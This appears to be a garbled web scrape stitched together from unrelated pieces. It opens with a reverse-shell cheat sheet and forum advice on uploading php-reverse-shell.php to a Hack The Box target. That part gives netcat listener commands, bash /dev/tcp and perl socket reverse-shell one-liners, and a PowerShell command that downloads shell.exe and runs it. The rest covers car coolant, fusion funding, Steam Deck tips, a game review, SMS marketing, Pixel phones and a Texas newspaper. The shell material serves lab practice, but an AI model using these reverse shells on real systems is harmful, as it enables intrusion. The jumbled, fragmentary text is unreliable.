![]() : if I stay inactive in the connection I established the connection on the port closes (which is normal) but when I try to execute the curl command I got a 404 which specify that the file is removed so I need to go through the process again and upload the file and…, I think that when the php script is terminated it deletes itself automatically which is a good cybersecurity best practice to not leave a print in the attacked machine. There’s something I still not understand, i.e. Normally in this case you should see on the terminal where you executed the “nc” command that you get a little $ to run your command and that the connection is established Now you’re listening on the port 33456 and you’re waiting for the machine to reverse connect you, you invoke the event by running the curl command (make sure that your filename is right) CONGRATS !! here’s the critical part :įirst of all run the nc command “nc -lvnp 33456” and before run it check that the firewall is disabled using the command “ufw status” Now you modified the file, you uploaded to the web server and you got that message on the web broser that your file is uploaded. “1234”, but for best practice let’s change it and to “33456” instead About the port number you can change the port or leave it as it is, i.e. and you can find it using either “ifconfig” or "ip a " command. I got the same problems I tried to go through everything and I made it in the end, so this will help you troubelshoot the issue and try everything :īefore uploading php-reverse-shell.php to the targe, first of all modify the IP address and put the one that was assigned to you through your connection to the Hackthebox network it start with 10.10.14. It’s OK to hit cancel in your browser once you’ve got your shell.” ![]() Your browser will appear to hang when you access the reverse shell. Additionally the PHP script attempts to daemonise itself and dissociate from the parent process to avoid this (though it rarely works in practise). It doesn’t seem to on the systems that I’ve tested it on (Gentoo Linux only so far). “Isn’t the shell connection just going to be severed when the web server times out the PHP script? This is quite common and not fatal.") Īdditionally from the Pentestmonkey website… Make the current process a session leader Assuming you’re using the most common script… // pcntl_fork is hardly ever available, but will allow us to daemonise ![]() ![]() Nc -lnvp ‘whatever port you set in reverse shell’ You want to issue this command on your machine It means your pc isn’t listening on the port. python3 -m rver / python2 -m SimpleHTTPServer powershell -command "((new-object ).DownloadFile('', '%TEMP%\shell.exe'))" "c:\windows\system32\cmd.exe /c %TEMP%\shell.I had this same issue. Most Linux boxes have perl installed somewhere (unless its a container) perl -e 'use Socket $i="127.0.0.1" $p=1337 socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) if(connect(S,sockaddr_in($p,inet_aton($i)))) $client.Close()" Got a binary you want to execute? This one is incredibly reliable in my experience. You might get lucky with this, but I do think that you need to have a “bash session” of sorts, such that the pipes maintain across sessions, as opposed to one-shot command execution. Pure Bash Shell (only seems to run on sh or bash) exec 5/dev/tcp/127.0.0.1/1337 In my book, simplicity is key as there if there is usually not much to go wrong. Is there any sanitation in the command window? Eg is it removing quotes?.What you choose is going to matter and depend on a few things: I believe this different might also be related to that of BSD versions of Netcat or the differences. If you’re on a Mac running OSX or MacOS: nc -l 1337 Get started Find out what programs are installed for item in $(echo "nmap nc perl python ruby gcc wget sudo curl") do which $item done` Start your listener If you’re on Linux: nc -vv -l -p 1337 We previously wrote a post - Reverse Shell Cheat Sheet With Examples, that showed you how to easily set up a reverse shell using various scripting languages and tools. If you have found some sort of bash command execution access to the target machine, you can quickly verify what avenues you have with a one liner pulled from The Situational Awareness section of the Privilege Escalation Document. This document is supposed to be a quick reference for things like reverse shell one liners, including PHP shells and sources to those.
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![]() If there is an issue with the radiator cap, it may not discharge the coolant back into the reservoir when necessary. The radiator cap is designed to control the flow of coolant that circulates in the engine to the overflow reservoir when the coolant reaches a particular pressure and temperature. Our representatives will provide you with a service that you expect and deserve. The low coolant level in the overflow reservoir. KOST USA serves its customers by providing quality antifreeze products along with an effective and friendly customer support team. If you think you can’t do this on your own, then you should definitely get some expert help.ĭo You Have Any Further Question About Your Coolant Reservoir? ![]() When this happens, you should inspect all the lines from the coolant reservoir and check for leaks in the tank. So when a leak has occurred, then these lights will start flashing. Either way, most vehicles nowadays have a sensor for coolant levels. This leak may also be coming from multiple sources such as a loose coolant line, a damaged reservoir cap, or a crack in the reservoir. These leaks will specifically be beneath the passenger compartment and it clearly means that your coolant reservoir is damaged. The most common sign among all others is if you notice that your car is leaving some colored water under it. This is sometimes the reason why engines heat up and if this is the case, then the coolant reservoir will definitely have to be replaced.īefore you go ahead and make the decision of replacing the coolant reservoir, you should learn how to diagnose its problematic symptoms. This is why there are so many cases in which they develop cracks – and therefore leaks. So it goes without saying that the coolant reservoir should be working efficiently on a daily basis.ĭue to the material, location, and design of these coolant reservoirs, they are susceptible to quite a lot of wear and tear. ![]() These are an integral part of a car’s system because they help its entire cooling system. Most of these coolant reservoirs are made from durable plastic and are installed on the upper right hand side of your car’s engine compartment. Where Are the Coolant Reservoirs Located In Your Car? Therefore, the coolant overflow reservoir has been designed in order to act as a relief valve by storing extra coolant for your car. It is, however, important for vehicle owners to know that coolants expand as they get warmer. In this manner, the process is repeated continuously inside the vehicle. Once the radiator coolant returns to where it started, it will be circulated in some more chambers in order to cool the engine down. During this process, all the heat from the metal pieces in your car (that create the horsepower) will be absorbed. Typically, a coolant is placed into the radiator and is then circulated via the engine block. The coolant and radiator systems in most SUV’s, trucks, and cars in America are quite simplistic in their function and design. Free Download Full Version PC Software & Games as well as Android Software & Games. 13th April 2020, A Better Finder Attributes 6.22 now gives more consistent results. 15th December 2020, Nifty File Lists 1.10 adds the ability to extract the full path length. Requirements Intel, 64-bit processor OS X 10. Just want your boring old menu bar back under macOS 11 Big Sur. Total File and Folder Creation and Modification Date Control A Better Finder Attributes 5 gives you total control over file creation and modification dates, setting them to specific times and dates, adding or removing time or simply removing them altogether. Photo Date Changer for Windows 1.15 improves the year control. Better File Rename for Windows 6.22 now remembers all settings correctly between sessions. ![]() Better File Rename for Windows 6.23 delivers support for the jpeg file extension. It combines photo-shooting date and file date changing along with a few unique tricks of its own.Ĭhange EXIF Timestamps at Will A Better Finder Attributes 5 allows you to manipulate JPEG, CR2, NEF, ARF CRW and CIFF EXIF timestamps at will by setting them to specific times or batch adjusting them by adding and removing time (useful for correcting the timestamps of images taken with a digital camera with a incorrectly set clock and to compensate for timezone changes).Ĭorrect Finder Sorting for JPEG EXIF and RAW Photo A Better Finder Attributes 5 also allows to synchronize the file creation and modification dates with the shooting dates of JPEG EXIF as well as a wide variety of RAW formats, so that files sort properly in the Finder and other systems. Photo Date Changer for Windows 1.16 delivers support for jpeg, mov, mp3 and mp4 files. A Better Finder Attributes is the ultimate file-tweaking tool for OS X. ![]() This process needs less energy to ‘bind’ them together – so energy is released. This is an opinion and analysis article, and the views expressed by the author or authors are not necessarily those of Scientific American.Fission is the splitting of heavy nuclei (such as uranium) – in two smaller nuclei. It's not an answer to the climate crisis. But fusion is a long game that may or may not pay off. ![]() We should fund fusion research because even $1.1 billion is no more than it costs per year to maintain a single aircraft carrier. So why are we focusing on a speculative technology that will almost certainly come too late to make a meaningful contribution to avoiding climatic catastrophe?ĭon't get me wrong. federal government has invested heavily in fission and fusion nuclear power with only modest gains to show. But the pattern has persisted: between 19 the share of renewables was 18 percent.įor 75 years the U.S. In 1948 that apportioning made sense because fission and fusion seemed promising, and no one much saw the need for efficiency. According to the Congressional Research Service, from 1948 through 2018, 48 percent of federal energy R&D went to nuclear (both fission and fusion), whereas less than 13 percent went to renewables and 11 percent to energy efficiency. By comparison, the 2022 budget of the National Renewable Energy Laboratory was $671 million.įederal funding for nuclear power has long dwarfed funding for renewable energy and efficiency. Department of Energy is slated to receive an additional $763 million, for a total of about $1.1 billion (an amount that the fusion industry says is far too low). The Fusion Energy Sciences program at the U.S. The NIF cost $3.5 billion to build, and its current annual budget is $380 million. Given the short time frame we have to face the climate crisis- achieving “deep, rapid and sustained global greenhouse gas emissions reduction” as soon as possible, in the words of the Intergovernmental Panel on Climate Change-how do we decide whether the cost of fusion research is worth the potential benefit or whether the money would be better spent elsewhere? How do we differentiate between staying the course and throwing good money after bad? At the time, NIF physicist Siegfried Glenzer predicted ignition within the year. ![]() Construction began in 1997 the first experiments began in 2009. After decades of limited progress on controlled fusion reactions, Congress allocated funds for the NIF. In the 1960s and 1970s physicists realized they could use lasers to heat hydrogen to a sufficiently high temperature before the gas could escape. The scientific and technical challenges of harnessing fusion on Earth were simply overwhelming. On the sun, fusion takes place at millions of degrees. That proved unrealistic, and just as a fusion bomb took a back burner to a fission weapon during the war, civilian fusion power took a back burner to fission after the war. Physicist Edward Teller wanted to focus their attention on building a fusion bomb. Scientists started working on creating fusion reactions in 1942 as part of the Manhattan Project. Hype like this doesn't help the scientific community to build and maintain public trust it risks diverting resources away from actual solutions to the climate crisis. ![]() And, ironically, the higher-than-expected energy yield damaged some of the diagnostic equipment in the experimental setup, casting doubt on whether ignition had even been achieved.Ĭalling this development a breakthrough in achieving “limitless zero-carbon power,” as the Financial Times put it, is like claiming that the discovery of fire was a milestone on the path to electricity. The power demands as reported didn't include the power needed to build the equipment and gear it up the entire event lasted just a few seconds. But the scale of the accomplishment is not remotely close to what would be required to generate electricity for practical use, much less herald a new era of clean energy. The researchers had achieved what is known as ignition, the condition where a fusion reaction produces more energy than it took to start it. On inspection, the advance was rather less sensational than these reports suggested. The Washington Post called it “truly something to celebrate.” Other commentators gushed about the fusion future as a solution to clean energy, global poverty, perhaps even world peace. An “ engineering marvel beyond belief,” they proclaimed, as major newspapers quickly followed with breathless coverage. National Ignition Facility (NIF) announced a breakthrough in the decades-long effort to create an energy source based on the same nuclear fusion reactions that power the sun. ![]() Right after Google Assistant answers, say the name of the station."Hey, Google, which radio station broadcasts Dallas Cowboys' games?".If you don't know already, you can ask Google Home that, too. All you need to know is which station broadcasts your favorite team's games. If that's not going to cut it and you need up-to-the-minute coverage, you can also use Google Home to tune into any game being broadcast on any radio station anywhere in the country (and many from around the world). "OK, Google, who do the Giants play today?"."Hey, Google, what time do the Vikings play today?"."OK, Google, what's the score in the Lions-Bills game?".If there's no right or wrong answer but a decision must be made, like when the kids can't agree whether to watch Home Alone or Home Alone 2, just have one person pick heads or tails and say, "Hey, Google, flip a coin." If it's good enough to decide which team gets the kickoff, it should be good enough to pick a movie or settle any other turkey day dispute. "Hey, Google, which countries have sent people into space?"."Hey, Google, how many electoral votes did Ronald Reagan get in the 1980 election?"."Hey, Google, what year was the Battle of Normandy?".Just ask it a question on any topic, from history and politics to sports and culture and beyond. With the power of Google search at its core, Google Home can resolve almost any fact-based dispute. That's when it's time to bring in Google Home to mediate. ![]() But even if everyone remains civil, sometimes holiday discussions arrive at an impasse when two people can't agree on certain historical facts. And unfortunately, that may include a few who try to hash out all the world's problems over mashed potatoes and stuffing. Watch this: Turkey-cooking tech for ThanksgivingĠ1:19 Resolve conflicts with Google's fact-checkingĪ big enough Thanksgiving Day celebration is likely to draw family and friends from a wide swath of opinions and values. ![]() # Make sure the version matches for the arguments as well. # 7zip is the most compatible, but you need an internally hosted 7za.exe. $repoPassword = '' # this must be empty if NOT using authentication $repoUsername = '' # this must be empty is NOT using authentication Otherwise these leave these as empty strings. # If the above $packageRepo repository requires authentication, add the username and password here. # If you are using Nexus, always add the trailing slash or it won't work # This is where you see the top level API - with xml to Packages - should look nearly the same as ![]() Otherwise, the amount of work EmuDeck does for you is rather sizeable.# Download and install Chocolatey nupkg from an OData (HTTP/HTTPS) url such as Artifactory, Nexus, ProGet (all of these are recommended for organizational use), or Chocolatey.Server (great for smaller organizations and POCs) There is some configuration you’ll have to perform on your part like downloading the standalone emulators from the Steam Deck market, as well as acquiring your own retro BIOS files and ROMs. And that’s where the EmuDeck app comes in.ĮmuDeck is an incredibly robust application for emulation, as it will configure aspect ratios and hotkeys, download the appropriate box art for the ROMs, and integrate all these features into the Steam library. Many gamers will most likely want to use their machine not only to play the latest PC titles but also to run plenty of retro games. Naturally, the Steam Deck is an absolute emulation beast, given its portability and customization options. In the Controller Settings menu, you can map out the L4, R4, L5, R5 buttons to any other gamepad function, as well as keyboard/mouse controls and even system settings. The settings are incredibly robust, allowing for the rear buttons to be configured in any way. When picking a title from the Steam library, click on the arrow button instead of Play or Install, then choose your PC.Ĭustomizing your Deck can go further than the face and shoulder buttons. If a game is running sluggishly on your Steam Deck due to it being too powerful or resource-hogging, you can use Remote Play by streaming it using your gaming PC. Since you can install a Windows OS into the Deck, you can also install an Office suite into your Deck by using the Discover Software Center option to download one, such as LibreOffice. Once you start getting down the basics of this portable, there are plenty of other features and options that you can take advantage of. One of the best aspects of the Steam Deck is how customization it is, even approaching the levels of a PC. Press the Steam button on the left side, then check under System Settings and choose format, which will delete any other data on that card to prepare it for the Steam Deck. When you purchase and insert a card for the first time, you’ll need to reformat it. While you can upgrade the internal storage itself, it’s a difficult process and far more recommended to simply use Micro SD cards instead. Make sure you get the second or third option, as eMMC is terrible for gaming due to its much slower transfer rates.įrom there you can use and switch out Micro SD cards for additional storage space, then enable the option to save games directly to the Micro SD instead of internal storage. There are three types of Steam Decks: the cheapest being $399 and coming with 64 GB of eMMC storage, the second option being $529 with 256 GB of NVMe SSD, and the third is $649 with 512 GB of NVMe SSD. It can be especially useful for cases where: you need to create USB installation media from bootable ISOs (Windows, Linux, UEFI, etc.) you need to work on a system that doesnt have an OS installed. And if you ever want to go back to SteamOS gaming, it’s as easy as a quick switch of your Micro SD. Rufus is a utility that helps format and create bootable USB flash drives, such as USB keys/pendrives, memory sticks, etc. See the release notes for whats new or fixed, known issues, and supported hardware. ![]() Note: Windows 11 is only supported in 64-bit. After you’ve acquired those components, use this in-depth guide on how to install Windows 10 and 11. Hello Windows Insiders, today we are releasing Windows 11 Insider Preview Build 26016 to the Canary Channel. WiFi-23.10.0-Driver64-Win10-Win11.exe for 64-bit of Windows® 10 and Windows 11 for 32-bit of Windows® 10 Check if your Windows 10 is 32-bit or 64-bit. ![]() This mode also lets you install programs and even an OS like Windows 10 or 11.įirst, you’ll need an SD card and an SD Card Reader, as well as a Micro SD card. That said, there’s a mode called Desktop mode that you can access by holding down the Power button, and it turns the Deck into a full-blown PC. The Steam Deck comes running with the Linux OS when it ships from the factory and uses Proton in order to enable Windows games to run on it. ![]() Further progression into the game rewards you with special skills as well as a “bullet-time” mode which is fairly self-explanatory. You can equip a range of different weapons, from pistols and machetes to rifles and shotguns. Should you choose to ignore stealth and instead engage in full combat, then expect an experience more akin to a top-down real-time twin-stick shooter. “Combat feels rather cumbersome due to imprecise shooting and inconsistent enemy AI behaviour.” However, it becomes increasingly frustrating on higher ones since it only takes a handful of bullets to see you dead. This is somewhat manageable on lower difficulties. Once one enemy is triggered, all the other ones will come flocking in and unload bullets on you faster than you can react. One minute they’re noticing you from a mile away, the next they’ll barely give you the time of day despite being stood toe-to-toe. To make matters worse, the distance from which enemies can spot you is incredibly inconsistent. While stealth works mostly as intended, the problem lies with how fast and responsive enemies are when you accidentally break out of stealth. However, it is unlikely that that would occur during your playthrough considering how lacklustre and inconsistent the stealth mechanics have been implemented. You are not required to engage in combat, and can technically get through the entire game without killing a single person or enemy. To no one’s surprise, Weird West, like the developer’s previous games, offers you an impressive amount of freedom. Image Credit – WolfEye Studio “While stealth works mostly as intended, it is ruined by how fast and responsive enemies are when you accidentally break out of stealth.” However, it falls short one too many times to make it a truly recommendable experience. While it may not have the triple-A budget like the developer’s previous titles, Weird West mostly accomplishes what it sets out to do. Unlike their previous efforts, it utilizes an isometric top-down perspective that combines elements of a CRPG and a twin-stick shooter. It was set to be another immersive sim, only this time situated in a bizarre and supernatural rendition of the American wild west. ![]() I was ecstatic when I heard that ex-Arkane developers, who had worked on Prey and Dishonored, were opening a new studio and debuting their project, Weird West. ![]() Sign of a prophecy.I’ve always been enthralled by the immersive sim genre, as it puts the freedom of choice in the player’s hands. Finally, after a blood-fuelled night defending everything you love from thes wrongdoers, you awaken with a burning mark. But not without a cost: an affinity for the moon. With your numbers dwindling, and the Absolutionist faith nearly wiped off the face of the West, a divine prophecy has shown you how to protect your people. ![]() But now a rival faction has started exterminating your kind. You folk have been shepherds of the West, peaceful. You’re a Devotee of the Absolutionist faith. Now onto something more-esoteric-in nature: the Werewolf journey. Your husband gone, and only one thing to do: dig up your long-forgotten past and get your revenge. In the dead of night, you wake to a burning mark on your neck and the sounds of screaming outside Your son, dead in the dirt. Once the most respected name in the West, you’ve hung up your shooting irons and taken to a life on the farm after a deathbed promise to your grandfather. Thought she could hang up her shootin’ irons for goodįirst up, we’ll be talking about the Bounty Hunter. Access the “Settings” or “Configuration” section, then click on “Sender Name”.Sign up and create an account with the provider.Once you have chosen the SMS service provider that best suits your needs, here are the necessary steps to personalize the sender name: ![]() Step-by-step to personalize the sender name on an SMS service platform You can use messaging services offered by most major mobile operators, or even better, choose a specialized third-party provider such as an online service or an SMS extension integrated into your internet browser. Once you are familiar with the rules regarding message creation and sender name selection, it’s time to find a solution that allows you to send SMS from your company. Different solutions available for sending SMS with the sender name Now that you know how to choose a good sender name for sending SMS, it’s time to move on to the necessary steps to set up this service for your business. It is important to ensure compliance with these limits to avoid the risk of having your message blocked or rejected by mobile operators. These words include all obscene or offensive expressions and anything that could be considered false or misleading. Indeed, some words are prohibited by most mobile operators. There are certain limits to observe when customizing a sender name for sending an SMS. Limits to observe when customizing a sender name It should be at least 3 characters long and not exceed 11 characters, without special characters.Īdditionally, it is preferable for it to incorporate your brand so that recipients immediately identify the message sender. Characteristics of an effective sender nameįor the sender name to be effective, it must meet certain criteria. Moreover, the ability to use a personalized sender name also enhances the authenticity of your message and contributes to strengthening your brand image. The SMS recipient will see the personalized name displayed on their SMS app, reminding them that the message originates from your company. The benefits of personalizing the sender name in your SMSĬustomizing the sender name ensures greater visibility for your message and your company. ![]() Discover how to use this powerful and cost-effective service with just a few characters! How to personalize the sender name for SMS sending?ĭo you want to send SMS to your customers using your company name or brand? It is possible to personalize the sender name of SMS, which can be very useful for your SMS marketing and advertising. With modern SMS services, there’s no need to send anonymous messages recipients will see your company name directly on their mobile phones. Using your company name to send targeted and personalized PRO SMS to your customers can be an innovative way to promote your brand. ![]() While not the most convenient solution, a system reboot will fix most of the common problems you face on your Android. These are usually the causes, now on to the solutions to fix Google Pixel 7 getting stuck when trying to transfer data. In addition, this issue could also be caused by a damaged cable, corrupt data, or outdated software. Usually, a software bug causes the data transfer operation to be delayed or to cease entirely. One such bug is getting stuck at transferring data from old Pixel to new. However, like its predecessor, the Pixel 7 series is not without bugs. It’s nothing revolutionary, but compared to the Pixel 6’s sluggish in-screen fingerprint reader, it’s a worthwhile quality-of-life improvement. Other hardware-related upgrades are also there, such as the long overdue inclusion of face unlock. The Tensor G2 has some new speech recognition and calling capabilities, but the camera app is where it makes the biggest difference to the Pixel experience. Tensor G2, the second iteration of the chipset Google unveiled last year, is at the top of the spec sheet for the Pixel 7 and 7 Pro and it underpins a number of the devices’ improvements. They are a year late, but better late than never. The Google Pixel feels like a worthy rival to the iPhones and Samsung Galaxy S models, even though Google hasn’t entirely ironed them out in this edition. They were ambitious and usually fantastic tools with a few flaws. With a striking new appearance and an entirely new chipset, the Pixel 6 and 6 Pro started a new era for Google’s mobile devices. The Pixel 7 and 7 Pro appear to be fully developed with improved versions of the smartphones, Google introduced in 2016. ![]() Use Alternatives Methods How to Fix Google Pixel 7 Getting Stuck When Transferring Data? It would be part of Google’s move to migrate all users to Assistant Driving Mode – for better or worse.1.6. There are no changes to the app icon on our older Pixel phones updated to the new OS, while it’s sporadically gone for others on older devices. This is something that Google was originally working towards in Android 10, but did not complete due to the delay of Driving Mode. The removal of Android Auto from the launcher could be something coming with all phones launching on Android 12. In light of the “Phone Screens” experience going away, the Android Auto app is now just a background service that gets updated and drives the UI that appears in your car. The other way to access it is Settings > Connected devices > Connection preferences > Android Auto. You can tap “Additional settings in the app” from there. ![]() The very first result takes you to the menu, while the App info page will also be surfaced. Without the app icon, Pixel 6 owners can access it by searching “Android Auto” in the system Settings app. Practically speaking, following the Driving Mode migration, the icon provides quick access to head unit settings like customizing the launcher, day/night maps mode, weather, notifications, and more. That is the case for most people, but a few users, including a fourth device of ours, still have “Android Auto” like before. Following set-up from a device backup, three of our Pixel 6 units lack the Android Auto app in the launcher. The Pixel 6 series is the first to launch with – versus just being updated to – Android 12. As part of that, most people with the Pixel 6 and 6 Pro lose the Android Auto icon in the app launcher. Android 12 replaces “Android Auto for Phone Screens” with the long-awaited Assistant Driving Mode. ![]() The Pulitzer judges praised her story, "written under unusual pressure both of edition time and difficult, even dangerous, circumstances. Awards Įcho reporter Caro Brown won the Pulitzer Prize for Local Reporting, Edition Time in 1955 for coverage of the "one-man political rule" of George Berham Parr in neighboring Duval County. In 2014, ACM sold its Texas and Oklahoma newspapers to New Media Investment Group. It also changed its printing schedule from afternoons to mornings. In 2010, the paper switched to a tabloid format and reduced its output to three days a week (Wednesday, Friday, Sunday). View Alice Echo News-Journal (location in Texas, United States, revenue, industry and description. ACM bought the free semiweekly Alice Journal in 2002 and renamed the paper the Alice Echo-News Journal. The Echo-News was bought by Boone Newspapers in 1990 and American Consolidated Media in 2000. The owners of a newspaper chain headed by the Brownwood Bulletin (Woodson Newspapers Inc.) bought the newspaper in 1975, with co-ownership by Brownwood's Craig Woodson and Hunt. The next year, the owners bought the weekly Alice News and renamed the product the Alice Echo-News. Gulf Enterprises bought the newspaper in 1966, installing Lowell P. Ringwald made the paper a daily in 1946, changing the name to the Alice Daily Echo. He sold to a group headed by publisher Kenneth Fellows in 1935, which sold to V.D. Boother founded the Alice Echo in 1894, publishing it as a weekly. Main Street, Alice, Texas United StatesĪlice Echo-News Journal is a newspaper based in Alice, Texas, covering the Jim Wells County area of South Texas and published Wednesday, Friday and Sunday.ĭ.S. |
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